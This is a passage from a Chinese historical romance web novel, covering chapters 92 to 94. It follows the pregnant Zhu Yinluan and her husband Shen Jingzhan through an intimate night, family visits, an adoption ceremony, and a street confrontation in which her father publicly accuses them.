其实当时也有好奇,也偷偷看过去一眼,那会还跟沈景湛对视上了。 对,当时她觉得自己跟沈景湛对视上了。 可转念一想又觉得是错觉,沈景湛是何许人也,她又算什么,沈景湛怎么会在那么多人里看她。 现在知道了,便笃定了。 饶是笃定了,却也还是要询问。 “你看我了吗?”她反问。 男人很是实诚,“我看了。” “一直在偷看,可鸾儿一眼都没有看过来寻我,即便是当时我与鸾儿有些交情。” 交情。 言及此,祝吟鸾又问,“当时我去后.庭.院,你是故意跟着我去的吗?” “嗯。”他颔首。 “见你不在前院,便跟着你去,还顺道叫我身边的人把附近的人清走,就是为了跟鸾儿说句话。” 那是真正意义上,她第一次跟沈景湛打照面。 她到现在都还记得,她觉得沈景湛生得好俊。 是她见过最清隽的郎君,至今无出其右。 “你故意接近我。” “是,我故意接近鸾儿。”他还告诉她,当时那条被她发现的红鲤是他叫人放上去的。 祝吟鸾,“” 她皮笑肉不笑,“沈世子为了达到目的还真是无所不用其极。” 沈景湛勾唇,“幼年时父亲教我研习兵法,他告诉我,兵不厌诈。” 祝吟鸾再次沉默,“兵不厌诈是这样用的吗?” “怎么不能用,事实证明,我不是如愿以偿了吗?” 他看向她的肚子,挑眉。 祝吟鸾实在是无话可说,干脆就不说了。 深夜的宅院之内。 夜雨下得旖旎。 祝吟鸾垂眸瞧着底下的俊逸男子,他的腹肌纹路十分明显,人鱼线走势极其漂亮。 随着他的动作,而起伏动作。 祝吟鸾没心思走神了,她的手掌撑在男人的腹肌之上。 觉得有些累了,但是又很愉悦。 男人的一只大掌掐着她的腰身,小心翼翼护着她,看着她隆起的小腹。 她的身孕已经显出怀了,可人依旧十分的稚嫩。 若是拢住她的小腹,只是看着她的脸蛋,看不出来她是个身怀有孕的妇人。 “累了?”男人另外一只手穿过她身前浓密乌黑的长发。 准确捧.护住了她摇摇欲坠的,夺人眼球的。 两人的掌心之下是不一样的感受。 祝吟鸾手掌下是,强势,硬.实。 沈景湛则察觉到,雪色的柔.软。 “” 何止是她愉悦,他也是愉悦的。 要顾及她的身孕,并不能过分的肆意,所以多是克制。 她都不知道她有多美。 坐在他的.腰.腹.之上,娇气无比的乖怜,他真的好喜欢。 她的眉眼清纯却又泛着隐隐约约的风情。 叫人无法从她的脸上离开。 乌发雪肤,琼鼻粉唇,瞳眸水润,漂亮到人的心里去。 “鸾儿” 他低喃唤她的名字,像是臣服于她的信徒,但事实也是如此,他就是她的信徒,最诚挚的,许多年前就是了。 即便是过了许多年,也不会消散更改。 “唤我的表字可好?” 他的表字? 祝吟鸾在心里想了想沈景湛的表字。 听澜。 “唤一声好不好?我喜欢你叫我的表字。” 他伺候,服侍着她,祝吟鸾怎么会察觉不到呢? 于是她也顺着他,在旖旎的雨里,被雨水打得磕磕绊绊,柔柔弱弱叫他听澜。 “听澜” 这是第二声。 沈景湛以前只觉得名讳而已,不过就是代号,叫什么都无所谓,可为何从她的嘴里叫出来,他就觉得那么好听啊? 是什么地方出错了? 或许,不是他的表字好听,而是她的声音好听,叫他听了便觉心喜。 “鸾儿”他回应着她。 次日沈家十分热闹,祝吟鸾和沈景湛回得比较早,却不料沈夫人更早。 多日不见,沈夫人的态度如常不说,甚至比过往还要热情,祝吟鸾想象中的尴尬和隔阂根本就不存在。 沈夫人问起她的身子,这些时日的饮食起居,睡得如何? 还问沈景湛有没有欺负她? 若是欺负了,只管告诉她,她会给她做主,若是做不了主的,沈侯爷和沈老太太也会帮着出头。 祝吟鸾受宠若惊,感觉到沈夫人不仅仅是关怀她肚子里的孩子,还关怀她? “婆母放心,夫君没有欺负我。” “你性子恬静,面皮子薄,若是他真的做了什么,你不好直说,就让底下的人来告诉我。”说着说着沈夫人还叮嘱了明芽。 姣惠也还是留在祝吟鸾身边伺候了,但她做事总比之前谨慎,觉得对不起祝吟鸾,所以说话很顾忌。 “奴婢们清楚了。”明芽笑着应话。 孟家的人还没有过来,沈夫人让祝吟鸾先去探望沈老太 太,顺道在她那边用早膳,她已经吩咐了下人送过去。 “母亲想得真周到,儿子多谢母亲。”沈景湛揽着祝吟鸾,接了沈夫人的话。 “你媳妇怀着身子,你注意些吧。”沈夫人可是听说了,出去几日都在要水。 祝吟鸾的气色虽然看起来不错,可沈夫人还是忧心,万一出些什么事情,可岂不是翻天覆地么? “儿子谨记。” 多日不见沈老太太,她的气色也好多了,听身边的老妈妈说,沈蔻玉前几日回来了,给沈老太太换了一个药方子。 “玉儿居然会医术,还藏了那么多年。”沈老太太感慨道。 “小姑的医术很不错,孙媳先前神思倦怠,也是小姑把脉开的方子,只是她不叫孙媳往外说。” 沈老太太知道祝吟鸾要说什么,叫她放心,她不会怪罪。 “看着你的身子倒是明显了不少。” 沈老太太摸着她的肚子,说这些时日已经在翻阅书册了,留心着孩子的名讳。 “能得祖母赐名,是荣幸。”祝吟鸾笑。 “你倒是放心。”沈老太太笑意浮上脸,跟祝吟鸾说她挑了几个字,问她哪些字好? 祝吟鸾觉得都好,转而问沈景湛。 沈景湛却说是不急,待生下来再定。 沈老太太瞧着他一眼,“你这要做父亲的不急,你祖母我可是等不及了。” “祖母急什么,不剩几个月,也快了。” “稳婆产婆,太医院那年,你母亲都叫人准备打点好了,在外住些时日,就搬回来吧。” “吟鸾啊,在家里生,人手多,也能好些。” 今日沈夫人也提到了这个,祝吟鸾已经答应下来了,她颔首说好。 沈老太太没有跟她说这些时日京城不太平。 估摸算着,只怕祝吟鸾要生的时候,京城动荡。 她在侯府,更安全些。 祝吟鸾听话,叫人省心。 不多时,孟家的人还没有来,沈蔻玉回来了。 祝吟鸾见到她可是欣喜。 “嫂嫂心绪可开阔了?”沈蔻玉叽叽喳喳的,给亲长们请安问好之后,围着祝吟鸾转,看着她的肚子,伸手摸了摸。 旁边沈老太太叫她多碰碰,也接个喜气,背对着亲长,沈蔻玉撇了撇嘴做个鬼脸,祝吟鸾瞧了忍不住笑。 她问她今日怎么回来了? 沈蔻玉道必须来,“我是怕孟家的人不死心,叫嫂嫂委屈了。” 担心祝吟鸾是其一,其二嘛,也是京城当中闹得沸沸扬扬,文武百官就好似约好了的,纷纷弹劾沈景湛,她放心不下。 虽然知道沈景湛本事大,但也免不了忧虑。 赵谨白见她唉声叹气,便跟着她一道回来了。 适才沈蔻玉探了口风,京城发生的事情,祝吟鸾似乎都不知道。 两人背过人说悄悄话的间隙,她给祝吟鸾把了脉,借着医嘱的名义跟祝吟鸾说, “嫂嫂,你适宜静养,近来少出门些吧。” “跟着你哥哥出去可以吗?”沈景湛时常带着她外出游玩。 “跟着哥哥自然是可以的啊,只是别人若给嫂嫂下帖子,你就不要去了。” 跟着她哥哥,定然是打点好一切的。 “月份越大,越要静养。”她又叮嘱了一下。 祝吟鸾却觉得奇怪,怎么跟着沈景湛就可以,别人就不行? 沈夫人也不行吗? 莫不是出什么事情了? 第93章 第93章从她嘴上捡东西吃。 若说是要撮合她和沈景湛? 沈蔻玉也瞧出来她和沈景湛估摸着算是冰释前嫌了。 何必要打着静养的名义说这些? 沈蔻玉做事虽然机灵,但她的性子过分耿直了,心里多数藏不住事情。 思来想去,祝吟鸾最后还是不打算打草惊蛇,她压下心头的疑虑,应了说好,并且道她会多多静养,让她放心。 沈蔻玉连连点头,一而再再而三叮嘱她要少出门,如今已是冬日了,时气又冷,若是招寒病了可是遭罪呢。 说到招寒,祝吟鸾想到之前发生的事情,问明芽也没有问出什么。 这会子沈景湛陪着沈蔻玉的夫婿说话,她便趁机让沈蔻玉再给她瞧瞧。 “嫂嫂这是怎么了?”适才她已经给祝吟鸾把过脉了,脉象平稳,她的气色也很好,不清楚为何还要把脉。 祝吟鸾也没有过分卖关子,跟沈蔻玉说她多年以前招了一场寒,病了一些时日之后,很多事情就再也想不起来了,但见了过往的事和人却隐隐约约觉得熟悉,可又想不起来什么。 沈蔻玉认真听着她说过,给她把脉,又问了她一些症状。 “嫂嫂是哪年招的寒?又病了多久,吃的都是些什么药呢?这些嫂嫂可还记得?” 祝吟鸾说尚且在闺中,那时候她已经及笄了,“病了依稀有小半个月吧,断断续续循环往复,后来身子骨一直孱弱,又养了几个月。” “吃的什么药材,我已经记不清楚了,都是一些寻常吃了能够驱寒的边角料药材,因为那时候嫡母苛责,我手上的月钱不多,不能抓太好太多的药材。” 郎中那会说一副药最多煎三日,可她会熬五六日,汤药很淡了才换掉。 沈蔻玉听到这安慰了她一下,又接着问诊,“那嫂嫂是何时发现你自己失去记忆的呢?之前所有的事情都忘记了么?还是只忘记了部分事情?” 沈蔻玉问到了点上,祝吟鸾道,“并没有忘记所有的事情,只是丢了部分的记忆,我也是病好了之后,记性变差了很多,攒到银钱之后去瞧郎中,他说不妨事。” 只要脑子没有坏掉,这些都是小毛病了,没有丰厚的银钱哪里经得住这样反复造的? 于是祝吟鸾也没有看,便回了祝家,后面终于攒了些许银钱,却也没想到过去看,因为这件事情已经趋向了平稳。 “那嫂嫂后来又是如何浮现起熟悉感的呢?”沈蔻玉想起来她方才说的话,重复问了一遍,“是接触了过往的人和事?自发浮现的熟悉感吗?” “嗯。”祝吟鸾点头,“除此之外,我还做梦,但梦里和现实我总是分不清真的假的,所以意识总是模糊不清,就连我自己都分不清楚了。” “嫂嫂后面有没有找太医瞧过?”沈蔻玉犹豫了一下,“有和哥哥说过吗?” 祝吟鸾摇头,“没有。” “我相信你的医术,本就打算要去探望你,让你帮我瞧瞧的。” 沈蔻玉被肯定地笑了,“那是,我的医术,绝不逊色于太医院的太医们。” “是。”祝吟鸾说她很厉害,“小姑没有来之前,祖母已经跟我们说你给她抓了新药方,祖母的身子骨也好多了。” 沈蔻玉羞赧笑了笑,接着问祝吟鸾她回忆起的一些细则。 祝吟鸾自然没有说什么春色弥漫的梦境,挑挑拣拣改了一下。 便说是在她的梦中出现的人和事是凶狠暴戾的,可她接触的人又是温润如玉的,两者叫她混合分不清楚,所以总觉得眼前一团迷雾。 沈蔻玉见祝吟鸾紧张,忍不住逗了她一下,压低声音道,“这怎么就跟说哥哥一样的呢?” “嫂嫂嫁进来也有些时日了,你知不知道哥哥在外有多凶?他只是面对嫂嫂温润如玉,耐心异常,体贴入微,若是旁人啊” “奉安公主至今还被哥哥吓得躲在太后的宫里呢。” 听这个话锋,沈蔻玉似乎去见了奉安公主,但奉安公主应当是没有同沈蔻玉说吧?若是说了沈蔻玉言及此,神色定然有所变化。 “是怎么了?”怕她猜错了,祝吟鸾还试探了一句。 “没什么,就是上一次奉安公主不是跟嫂嫂亲近了会么,你动了胎气,她虽然也帮上了忙,但还是怕哥哥找她算账吧?” 祝吟鸾想在这个时候问问沈蔻玉,奉安公主和沈景湛之间的过节,转念想想,还是不问了,探查过往的事情更要紧一些,别的都赶不上这 件事情重要。 她把话茬给转移回去,“自然不是你哥哥。” 沈蔻玉害了一声,“我说的也不是哥哥啊,只是觉得哥哥就是这样的人。” 害怕多说多错,祝吟鸾问她可还能够治?有没有什么药能够让她恢复之前的记忆? 说到正事,沈蔻玉的神色也恢复认真,“嫂嫂你自己无法分辨么?” “我无法分辨,梦中的一切十分真实,可我又觉得无迹可寻,所以” “有没有一种可能,我之前的记忆丢失是被人下药了呢?”沈景湛能从几年前就布局弄垮卫家和祝家,那她吃的那些药会不会有他的手笔? 祝吟鸾曾经这样阴暗的想过,可转念一想,又觉得是她过分较真了。 抛却那些真真假假分不清的梦境,从她认识沈景湛开始,纵然是演戏,要蒙骗她,沈景湛一直都是无微不至的,暗戳戳接济她。 若是按照年岁来说,那时候沈景湛忙得不可开交,他在什么地方?在科考吧? 所以,这个念头出来没多久便被她给压了下去。 沈蔻玉默了一会,“令人丢失记忆的药有,这种药霸道,会有很强的副作.性,我暂时没有把出嫂嫂你的脉象有何遗留的问题。” “有可能是你当年招寒发高热,烧得迷迷糊糊忘记了一些事情,这也是可能的。” 祝吟鸾,“确切吗?” 沈蔻玉皱眉,“时隔多年,嫂嫂你记不起当时所用的药材,我也拿捏不准,毕竟年月久远。” “再说这梦境吧,它不一定是真的。” “假的了?”祝吟鸾疑问。 “随着年岁的流逝,记忆会渐渐的模糊,甚至是扭曲,从而出现错乱的情况,相差如此之大,我觉得是假的。” “嫂嫂的梦里全是令人恐惧的回忆么?” 沈蔻玉一句话把祝吟鸾给问住了,她回想了一下,并不是的。 只是在床榻之上,凶残.暴.戾而已。 但若说全是凶.残.暴.戾,却也不完全是。 梦里的她太害怕了,对方则很用力。 她承受不住对方要叫她承受的。 所以,那股令人恐惧的感觉便一直映照在了她的心里,渐渐的变了味,被她定为了不想去回忆,恐惧的,害怕的。 认真来说,除却这些令人难以承受的,吃力之外。 还有男人在她耳畔的轻哄,低吻。 剥开了情.欲,他的声音磁沉温柔。 只是为了欺.负,占.有她的话,完全不需要废这些功夫,只需要达到他的目的,让他自己愉悦尽兴就好了。 可梦中的人也曾想要照拂她,甚至多番停留哄着她,但因为彼此都不怎么娴熟,对,就是生涩,才弄成那样哭兮兮的局面。 所以沈蔻玉说得其实很对。 见祝吟鸾陷入沉思,沈蔻玉不曾打扰。 过了一会,祝吟鸾看过来,沈蔻玉方才问,“嫂嫂你想到了什么?” 祝吟鸾没有说,脑海当中回忆起她过往梦境最是和谐的一幕,当时她跟那个男人在小河边择菜,是她教他做事。 两人之间的氛围其乐融融,梦里的他没有床榻之上的戾.气,还很听她的话。 美好而宁静。 这些是真的吗? 祝吟鸾没有回答祝吟鸾的话,却见对方的视线放到后面,叫了一声兄长。 “鸾儿在想什么?”孟家的人来了,下人们过来韵梅堂传话,沈景湛起身过来唤她。 祝吟鸾方才回神,还没想好怎么回沈景湛,沈蔻玉已经帮她搪塞过去了,“这都是我们姑娘家的私房话,哥哥这也要问吗?” “未免也太叫人觉得压迫了吧。” 祝吟鸾很快反应过来,“嗯,不能说。” 她一本正经,瞳眸当中闪烁的情绪虽然已经隐去了,可他方才早已经捕捉到了。 沈景湛捏了捏她的面颊,“好,不问。” 正说着话呢,沈夫人身边的老妈妈进来传话,说是前厅在催了,请众人快些过去。 辞别了沈老太太,众人便挪了步子。 祝吟鸾垂眸瞧着起身之时沈景湛给她系起来的斗篷绦带。 男人修长如玉的手指穿梭其中,系出了一个漂亮的形,比小丫鬟们给她系的都好。 他怎么这些内事都会? 思及此,祝吟鸾暗戳戳瞧了男人一眼,不料撞上他一直专注瞧着她的视线。 彼此之间没有说话,祝吟鸾隐藏在斗篷之下的手却攥紧了。 “” 还没有正式进入前厅,便已经听到了沈夫人和孟夫人说话时传出的笑声。 听沈夫人说孟家之前回礼的物件东西已经很多了,今儿拜女儿上沈家的门居然还带了这么多? 简直是堆山码海的,完全不亚于提亲要走的过节了。 明芽探听过孟家,说孟夫人祖上在扬州那边有做行商,甚至有自己的商字号,是商会的大户,这些年没什么风声,原以为没有做了,今日看抬到沈家的手笔,真真是豪气。 多归多,到底比不上沈景湛先前带着她去施家拜亲的场面。 物件东西的数量皆差不离,其中的物件还是有对比差距的。 孟家的拜礼奢华,沈景湛给她撑场面筹备的物件不仅奢华,还相当豪横,许多东西还是要利用权势才能够享有得到。 孟云今日穿得温婉漂亮,一如往昔般动人。 见沈景湛过来,目光立刻就投过来了,却很守着规矩,没有似那日在沈家用晚膳的娇羞怯意,只是规矩之下,祝吟鸾依然窥见了淡淡的落寞。 孟云上前给几人见礼。 她贴心慰问了祝吟鸾的身骨,跟她说话。 旁边沈、孟两家的大人亲长都在看,除却这两家的人,还有与之交好的别家夫人,祝吟鸾都见过,适才已经见了礼数了。 短暂的寒暄场面过了之后,沈夫人率先叫了孟云过去,跟沈家的亲长解释了说看她很合眼缘,故而决定将她认做义女。 这都是早就商量好的了,众人搭着话台子,附和着沈夫人。 祝吟鸾在旁边看着,沈景湛凑过来问她吃不吃琼华糕? 她疑惑,沈家府上怎么有? 他看穿她的疑虑,低声跟她解释,今日晨起吩咐人去买回来的,在马车上她没有吃,便叫人拿去小膳房蒸热了,候着她吃。 亲长们在说话,祝吟鸾心里觉得他体贴,声音也软了些,刚要接过他递的琼华糕,说一会再吃。 可沈景湛已经喂到了她的嘴边。 无奈之下,祝吟鸾只能张口接受了他贴心的投喂。 “好吃吗?”他问。 “嗯。”祝吟鸾颔首。 她耳畔的钗环随着她的动作而微晃,唇瓣之上沾染了糕点的屑沫。 男人眸色微暗,伸手抚上她在翕动的唇瓣,捡走了,然后他吃了下去。 来不及阻止的祝吟鸾,“!” “” 她微微面红,急急咽下糕点,低声斥道,“你做什么!” 这是在人前,她已经瞧见很多人看过来了。 沈景湛方才的动作必然有人收入眼底。 这么多亲眷长辈都在,他怎么能 祝吟鸾在这个关口又不好直接说得太明显,这么一句已经是她的极限了。 “我怎么了?”男人单手撑着头颅,姿态慵懒,又在引诱她去瞧他的脸,简直就是一只男狐狸。 祝吟鸾立刻撇开视线,她不要看着他的脸,若是一直看着,她就生不起气来了。 “你再这样,我就不同你坐在一处了。” 这句威胁或许是有用的,因为祝吟鸾已经留意到沈景湛要说下不为例。 当真是跟沈景湛在一处久了,居然都可以看出来沈景湛预备要说些什么了。 她堵了沈景湛的后话,说他回回都搪塞她,还讲什么下不为例,分明就是诓骗人的话么。 “我不会再上当了。” “只是想要帮鸾儿拂却唇上的糕点。” 祝吟鸾忍不住反驳,“你就算是要这样,做什么不拿帕子?” 不用帕子就算了,还从她嘴上捡东西吃? 甚至是当着人前。 他真是变.态。 在人前也不要脸面了么?! 事实如同祝吟鸾所料,注意到这一幕的沈家和孟家亲长们无一不变了脸色,这还是传说中不近女色的沈世子? 他居然在人前与自己的内眷做出那么亲密的动作,可想而知他有多么中意这位祝家小姐,施家义女了。 “我也不是故意,就是想要宣誓.主.权。”他还在跟她低声说话,清冷的神色当中含着些许幽怨。 “什么?”祝吟鸾的注意力都被他给转移走了,挪开没多久的视线又挪了回去。 “鸾儿在人前总与我拉开距离,长此以往,旁人必然以为我们之间生了嫌隙,定然要恩爱些,也好封住旁人的口舌啊,谁知道走了一个孟家的,会不会来第二个?” “下次不是姓孟的,那就是姓李姓王姓郑了?” 祝吟鸾听罢,真是服了。 别人都是女子黏着夫郎,偏偏到他这里就不是这样了。 何况,这孟云小姐都成为他的义妹了,还说什么呢? 提孟家的就算了,还说些什么李家王家郑家。 他还真是厉害啊。 “你不要再胡说八道了。” 祝吟鸾不知道接些什么话好,索性就不接,不搭理了。 她也不吃琼华糕了,端正坐着。 孟云跟在孟夫人身边给沈夫人沈侯爷,沈家的亲长们敬茶。 余光一直是注意着祝吟鸾和沈景湛这边的。 前三日她还是觉得不甘心,毕竟都已经过了沈家和祝吟鸾这一关,临了,居然成为了义妹。 能够跟沈家的人沾亲带故自然是好的,可她根本就不想要。 她很喜欢沈景湛,渴望他能够看她一眼,只要一眼她便会心花怒放。 夜里翻来覆去的时候,甚至在想干脆就不要认沈家的亲了。 这样的话,沈夫人一定会觉得亏欠孟家,必然多多在沈家提到她。 如此一来,沈景湛对她也有些印象了吧?说不定就知道她是谁,会看她一眼,深觉得亏欠她了。 她能在他的心里占据一席之地。 可今日见状,她便知道她是痴人说梦了。 便是得不到他,能在他的心里留下一抹影子也是好的啊。 此刻见到两人打情骂俏,她便知道自己如同泡影的梦碎掉了。 除却祝吟鸾之外,沈景湛的眼里根本就容不下旁人。 想通以后,给祝吟鸾和沈景湛的敬茶,孟云也再没有蕴藏太多的虚耗。 敬完茶水,席面便启开了。 祝吟鸾跟着沈景湛落座。 孟家的人没有停留太久,用过早膳以后离开。 沈景湛要带着祝吟鸾出门,沈夫人却舍不得,说叫两人留在家里住。 沈景湛道过些时日。 “你妹妹嫁出去了,你整日也不在家,往前还有你媳妇陪着我,如今却是谁都不在家,偌大的宅院,冷清清的,好不凄苦。” 祝吟鸾刚要接话,沈景湛抢在她的前头道,“母亲这话是给我压力,还是给鸾儿压力?” 沈夫人啧了一声不说,还瞪了沈景湛一眼,“你又在胡说个什么?” “哪里就是压力了,不过就是思念你们,你父亲也忙,我这不是想要热闹些。” “母亲要热闹,让后院的姨娘们抱着孩子来这边陪您说话打牌就是了,我这些时日有空,想要多陪陪鸾儿,不想要旁人打搅我们之间。” 沈夫人说不过他,只能点头,“好好好。” 出门之时又千叮咛万嘱咐了一顿。 祝吟鸾跟着沈景湛离开没有多久,在过宅院去的熙春巷里,被人给堵住了。 居然是祝家的马车。 祝吟鸾在心中想,很有可能是她的那位父亲。 果不其然,马车方才停稳,她这位父亲便急吼吼跳下来,被侍卫阻拦了,着急叫着好贤婿,叫着她的闺名。 “岳父大人有何事?”沈景湛掀开车帘瞧过去。 这边虽然僻静,到底还是有百姓和商贩,祝吟鸾直觉祝大人当街拦人没有什么好事,恐怕不宜在这边说话,她扯了扯沈景湛的袖子,示意他。 可沈景湛却拍了拍她的手背,叫她不必惊慌失措。 祝吟鸾反而不解了。 他到底要做什么? 这一会子,祝吟鸾又想起沈蔻玉的劝阻,以及这次回沈家以后,沈家变得很严实的门防。 思及此,她便按兵不动,静默没再吭声。 “贤婿,我已经按照你的意思,给鸾儿的亲娘牌位扶了正,让她上了我们祝家的族谱,也写了休书,遣散了朱氏,叫她回了朱家,你何时为我解燃眉之急啊?” 祝大人清楚这里不是说话的地方,但他也是没有办法了。 什么面子里子的,那督查司的人都带着封条堵上了祝家的门。 前脚朱夫人带着祝鸣生和休书回了朱家,后脚祝家就要被封了,他找不到沈景湛正要去沈家,却在这里撞上,如今他就要当街给沈景湛施压。 世家大族最注重脸面,他不相信沈景湛会无动于衷。 这些时日关于他的事情可是闹得沸沸扬扬,他若是顾忌,必然答应。 祝大人打这个主意,也做好了准备,却没想到沈景湛居然一点都不怕的样子,反问他有何事,他喋喋不休说完了,他依旧是面不改色。 “贤婿,我如今不能回祝家,也得罪了郭王爷,你可要庇护我啊。” 说不动沈景湛,便将主意打到了祝吟鸾的头上,他扬声高气,“鸾儿!” “我可是你的生父,如今为父有难,你见死不救,可是要过堂审的!” 为了脸面名声,沈景湛必须救他。 且是当街救。 围观的百姓越来越多了,祝吟鸾被沈景湛护在身后,她忍不住紧张。 可再看沈景湛不仅风轻云淡,甚至还不以为然,丝毫不怕惹怒了祝常。 叫着岳父大人,用落井下石的口吻道,“岳父大人,话可不能这么说,你的事情牵扯到朝廷,我蒙圣恩,在御前效力,可不能阳奉阴违啊。” 祝常听出来了,气得脸红脖子粗,“沈景湛,你!” “你过河拆桥?!” “岳父大人血口喷人,我可不敢当,休弃糟糠之妻完全是您自己的主意,与我与沈家何干?” 祝吟鸾通过缝隙看到祝大人气急败坏的脸色。 忍不住低声凑到沈景湛耳边,“激怒他,对你没有好处的!” 她担忧得攥紧了男人的大掌。 第94章 第94章“莫不是喜欢鸾儿的人?”…… 垂眸见状她的动作。 感受着她紧紧抓捏着他大掌,无比用力到他特别喜欢。 又见她拧眉皱成一团的脸蛋,沈景湛薄唇边的笑意加深,包裹住她的手背轻轻拍了拍,眼神示意她放心。 祝吟鸾知道沈景湛做事历来心有成算,也清楚这必然有些猫腻,可眼下围观的百姓越来越多 ,即便是沈景湛没有下马车跟祝常撕扯。 到底是露面与他对峙,眼下的局势对沈景湛来说,完全就是不利的。 所以他究竟是怎么想的啊? 祝吟鸾无法叫自己不担心,可又不好再贸贸然开口,整个人进入备战一般的状态,凝盯着祝常,好像一只正在哈气,随时准备进攻的粉雕玉琢的小猫。 而她自己毫无察觉,还在瞧着祝常,护着犊子呢。 被她护着的犊子沈景湛,此刻眼底的笑意加深了不说,眉梢都染上了舒朗的笑意。 他又忍不住伸手揉了揉她的发鬓,将她额头上的绒发揉得更乱了,却也更显得俏皮。 祝吟鸾后知后觉,瞪了他一眼。 祝常被侍卫拦着无法靠近,他被沈景湛落井下石的话惹得整个人十分恼怒,此刻正不可置信叫嚣嚷嚷着京城的人都过来看。 看看沈家如何落井下石,看看这就是京城第一公子,御前大人,天子近臣,逼迫他抛妻弃子,又骤然翻脸不认人。 他阳奉阴违,把所有的错全都给提到了沈景湛的头上,说他谋取下臣.妻,为此才弄垮了祝、卫两家。 祝吟鸾听到卫家也被牵扯进来,真是恨得牙痒痒,狗急跳墙说的就是祝常了,他当真是脸面全然不顾及了。 祝吟鸾要开口,沈景湛却已经放下了车帘,轻声安抚她没事,叫她不要开口,只管吃着糕点听着对方气急败坏的丑样。 “可是” 祝吟鸾捏着他塞过来的糕点,心里说不上来的焦灼,“围观的百姓越来越多了。” 恐怕都不用明日,整个京城即将闹得沸沸扬扬。 沈景湛还真是坐得住。 对方都当街骂到脸上来了,他还气定神闲,置若罔闻。 “这个琼华糕跟外边买的不一样,席间母亲见鸾儿喜欢吃,说是膳房的婆子也会做这个,还加了一些辅料进去,讲吃起来的味道更醇香,脆而不绵软甜腻。” “尝尝看?” 祝吟鸾还能说什么,他都这样费心介绍了,就差直接把糕点给喂到她的嘴边。 浓郁的不解之下,祝吟鸾低头吃改良过的琼华糕,不得不说,味道的确是更好了。 纵然是没有心思吃,却也忍不住品了起来。 外边祝常越说越气,沈景湛不搭理他,晾着他,让他当跳梁的小丑,幸而旁边的百姓是爱看戏的,尤其是京城高门世家的戏,特别是沈家的。 当下就反问起来,这沈家跟祝家有过节倒是说得过去,毕竟京城当中早就有传言说这沈世子娶的人,施家的义女,其实是祝家的庶出,小娘生的,又少露面,便少有人知道了。 可是又跟卫家扯着什么关联? 卫家新晋在朝廷之上崭露头角的卫如琢不是已经锒铛入狱,许久没有消息了么? “祝大人别是吃多了酒,在这里空口白牙污蔑人吧?” 祝常刚要说怎么没有关系了?那可是有着天大的关系! 他还没有开口,就有嘴快的人接了话,“适才没有听到祝大人说么?” “这沈世子如今娶的少夫人,是先前祝家的那位小——”庶女两个字生压了下去,因为沈景湛的随身侍卫目光刺了过去,凶悍冰冷得吓到了对方。 “原来是这样啊!” 卫家和祝家的姻亲,京城当中的人可是早就知道了。 先前也有流传说沈景湛娶的女子是出嫁多年的妇人,没想到祝家的大人亲自出来指证了此事。 围观的百姓对朝廷的事情不敢多议论,但世家公子小姐们的花事情意,可无比的好奇。 当下就有人窃窃私语,“咱们这京城第一公子多年不近女色,敢情是喜欢成了亲的妇人?真不知这祝三小姐生的何等天仙模样,居然让沈世子都拜倒在她的石榴裙下。” “甚至还搞垮了卫家和祝家?就为了得到她?到底是不是真的?” 旁边的人接话道,“这你就不懂了吧?自古枭雄爱美人啊,为了得到想要的,谁不得下点手段?” 众人说着说着便开始笑了起来。 “” 祝常觉得事情很不利于自己,这些人没有跟着他一道指责沈景湛反而看起笑话来? 眼见沈景湛的侍卫十分维护祝吟鸾,索性他就往祝吟鸾的身上泼脏水,说她不孝忤逆,攀了高枝以后,竟然不认生父了。 还说她尚且为人妇的时候就不老实,被卫家的休弃了,还跟家里的人生了嫌隙独自跑了出去,不知怎么的,居然攀上了沈家。 祝家养她这么多年,费心费力,他是她的生父啊!她怎么能够忘恩负义,见死不救。 祝大人一把鼻涕一把眼泪,若非走投无路,他堂堂朝廷命官,怎么会像市井泼妇走到这一路。 早知道会有今日完全享不到这个生养庶女的福气,还不如一生下来就掐死她。 旁人听着祝常在京城大道发疯嘶吼,围堵的人越来越多了。 他翻来覆去一直在指责祝吟鸾的不是,为了拉沈景湛下水,刻意提了祝吟鸾当年跟卫家的姻缘。 当初分明是他疼爱长女,让祝吟鸾抵替的姻缘,也被他说成祝吟鸾抢了属于她长姐的事情,到了卫家之后嚣张跋扈,惹出许多祸事来,还是他去处置的,当真是白眼狼一个。 在祝常把话茬转怼上祝吟鸾的时候,沈景湛已经吩咐了手下的人料理他,可祝吟鸾却说不用。 此刻听着他宣扬这些颠倒黑白的家丑,忍不住连连冷笑。 可令祝吟鸾没有想到的是,围观的百姓当中,居然有人为她出头了。 听着声音是个妇人,还有些许耳熟,一时之间想不起来在何处听过。 对方高声道,“祝大人这话说得不对吧?” 祝常冷呵了一声,“怎么不对,我可是句句属实。” “历来只听说祝家大人疼爱长女长子,要什么给什么,从来没有听说祝家还有个备受宠爱的小女儿啊。” “更何况,卫家和祝家还有骆家的姻缘,不是祝家攀附骆家么?当初要跟骆家结亲,这才推了小女儿出去替嫁,卫家蒸蒸日上,骆家落魄了,便想将亲事给还回来,借机跟骆家的人和离,逼了祝三小姐下堂,祝三小姐有骨气不愿意,便被卫家的人休弃了。” “怎么一到祝大人的嘴里,就变成了祝三小姐抢长女的亲事了?” 祝常没有想到京城的百姓居然有知道这么细则的人。 他盯着对面的妇人,“你是谁?!你是祝吟鸾请来颠倒是非黑白,混淆视听的救兵吗?” 祝吟鸾无声问沈景湛是你找来的人吗? 沈景湛用帕子给她擦着嘴角,“或许是喜欢鸾儿的人呢?” 说不是就不是,还扯什么喜欢的人,别以为她听不出来他话里的深意。 他这醋意真是厉害,上至京城世家贵女,下至街头妇人。 祝吟鸾深觉想笑,嘴角都忍不住抽了一下。 也正是这会子,她听到了帮她出头,跟祝常对峙的人说她是谁。 “我之所以清楚这么多事,皆因为我原先在卫家做活,我是卫家用了许多年的下人了。” 卫家的下人? 祝吟鸾瞬间想起来这道熟悉的声音是谁了。 蒋婆子。 是当初在卫家,因为要给女儿筹备嫁妆,周全体面,但丈夫又生病,她在酒楼打下手赚不到,不得不剑走偏锋偷挪了膳房银钱的蒋婆子。 原来是她。 那会祝吟鸾见她实在辛苦,便给她补了账目,还给她女儿出了一份嫁妆。 许是因为她那日的善举,才让蒋婆子在众矢之的漩涡口跳出来替她说话,也不怕得罪了世家的大族。 见祝吟鸾的神情闪烁,沈景湛问她是不是认识这个人? 祝吟鸾颔首轻声跟他解释了一遍。 “从认识鸾儿的那一日起,我便知道你是全天下最柔软善良的姑娘。” 祝吟鸾忽而被夸,神色都不自然起来,她顾左右而言其他,“眼下都乱成一锅粥了,你就不要说这些了。” 难不成要一直待在这里不走么? 要耽误到什么时候? “鸾儿放心。”沈景湛看明白她的担忧,跟她解释,这个为她出头的人不会出事的。 